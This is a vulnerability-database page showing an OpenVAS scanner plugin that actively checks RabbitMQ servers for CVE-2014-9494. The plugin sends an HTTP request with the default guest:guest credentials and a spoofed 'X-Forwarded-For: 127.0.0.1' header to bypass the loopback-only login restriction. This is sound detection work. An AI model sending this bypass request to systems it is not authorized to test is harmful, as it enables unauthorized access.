RabbitMQ Server < 3.4.0 Security Bypass Vulnerability - Active Check
🗓️ 22 Jan 2015 00:00:00Reported by Copyright (C) 2015 Greenbone AGType
openvas🔗 plugins.openvas.org👁 41 Views
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| RabbitMQ 'rabbit_mgmt_util.erl' Security Bypass Vulnerability | 5 Jan 201500:00 | – | cnvd | |
| CVE-2014-9494 | 20 Jan 201515:00 | – | cve | |
| CVE-2014-9494 | 20 Jan 201515:00 | – | cvelist | |
| CVE-2014-9494 | 20 Jan 201515:00 | – | debiancve | |
| EUVD-2014-9311 | 7 Oct 202500:30 | – | euvd | |
| CVE-2014-9494 | 20 Jan 201515:59 | – | nvd | |
| DEBIAN-CVE-2014-9494 | 20 Jan 201515:59 | – | osv | |
| OPENSUSE-SU-2024:10370-1 erlang-rabbitmq-client-3.5.4-1.4 on GA media | 15 Jun 202400:00 | – | osv | |
| UBUNTU-CVE-2014-9494 | 20 Jan 201515:59 | – | osv | |
| Design/Logic Flaw | 20 Jan 201515:59 | – | prion |
10
| Source | Link |
|---|---|
| securityfocus | www.securityfocus.com/bid/71859 |
# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:vmware:rabbitmq";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.105177");
script_version("2025-03-27T05:38:50+0000");
script_tag(name:"last_modification", value:"2025-03-27 05:38:50 +0000 (Thu, 27 Mar 2025)");
script_tag(name:"creation_date", value:"2015-01-22 16:55:31 +0100 (Thu, 22 Jan 2015)");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:P/A:N");
script_cve_id("CVE-2014-9494");
script_tag(name:"qod_type", value:"remote_app");
script_tag(name:"solution_type", value:"VendorFix");
script_name("RabbitMQ Server < 3.4.0 Security Bypass Vulnerability - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2015 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_rabbitmq_consolidation.nasl", "global_settings.nasl");
script_mandatory_keys("rabbitmq/http/detected");
script_require_ports("Services/www", 15672);
script_exclude_keys("keys/islocalhost");
script_tag(name:"summary", value:"RabbitMQ Server is prone to a security bypass vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request with a fake X-Forwarded-For
header and checks the response.");
script_tag(name:"insight", value:"RabbitMQ allows remote attackers to bypass the loopback_users
restriction via a crafted X-Forwareded-For header.");
script_tag(name:"impact", value:"An attacker can exploit this issue to bypass certain security
restrictions to perform unauthorized actions. This may aid in further attacks.");
script_tag(name:"affected", value:"RabbitMQ Server version 3.3.0 and probably prior.");
script_tag(name:"solution", value:"Update to version 3.4.0 or later.");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/71859");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
if( islocalhost() )
exit( 0 );
if( ! port = get_app_port( cpe:CPE, service: "www" ) )
exit( 0 );
if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
exit( 0 );
useragent = http_get_user_agent();
host = http_host_name( port:port );
url = "/api/whoami";
req = 'GET /api/whoami HTTP/1.1\r\n' +
'Host: ' + host + '\r\n' +
'User-Agent: ' + useragent + '\r\n' +
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n' +
'Accept-Language: de,en-US;q=0.7,en;q=0.3\r\n' +
'Accept-Encoding: identity\r\n' +
'Content-Type: application/json\r\n' +
'Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=\r\n' + # guest:guest
'Connection: close\r\n\r\n';
buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
if( 'User can only log in via localhost' >!< buf || "401 Unauthorized" >!< buf )
exit( 0 );
req = 'GET /api/whoami HTTP/1.1\r\n' +
'Host: ' + host + '\r\n' +
'User-Agent: ' + useragent + '\r\n' +
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n' +
'Accept-Language: de,en-US;q=0.7,en;q=0.3\r\n' +
'Accept-Encoding: identity\r\n' +
'Content-Type: application/json\r\n' +
'X-Forwarded-For: 127.0.0.1\r\n' +
'Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=\r\n' + # guest:guest
'Connection: close\r\n\r\n';
result = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
if( '"name":"guest"' >< result && "auth_backend" >< result && "not_authorised" >!< result ) {
report = "It was possible to bypass authentication and access " +
http_report_vuln_url( port:port, url:url, url_only:TRUE );
security_message( port:port, data:report );
exit( 0 );
}
exit( 99 );
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Mar 2025 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 25
EPSS0.01393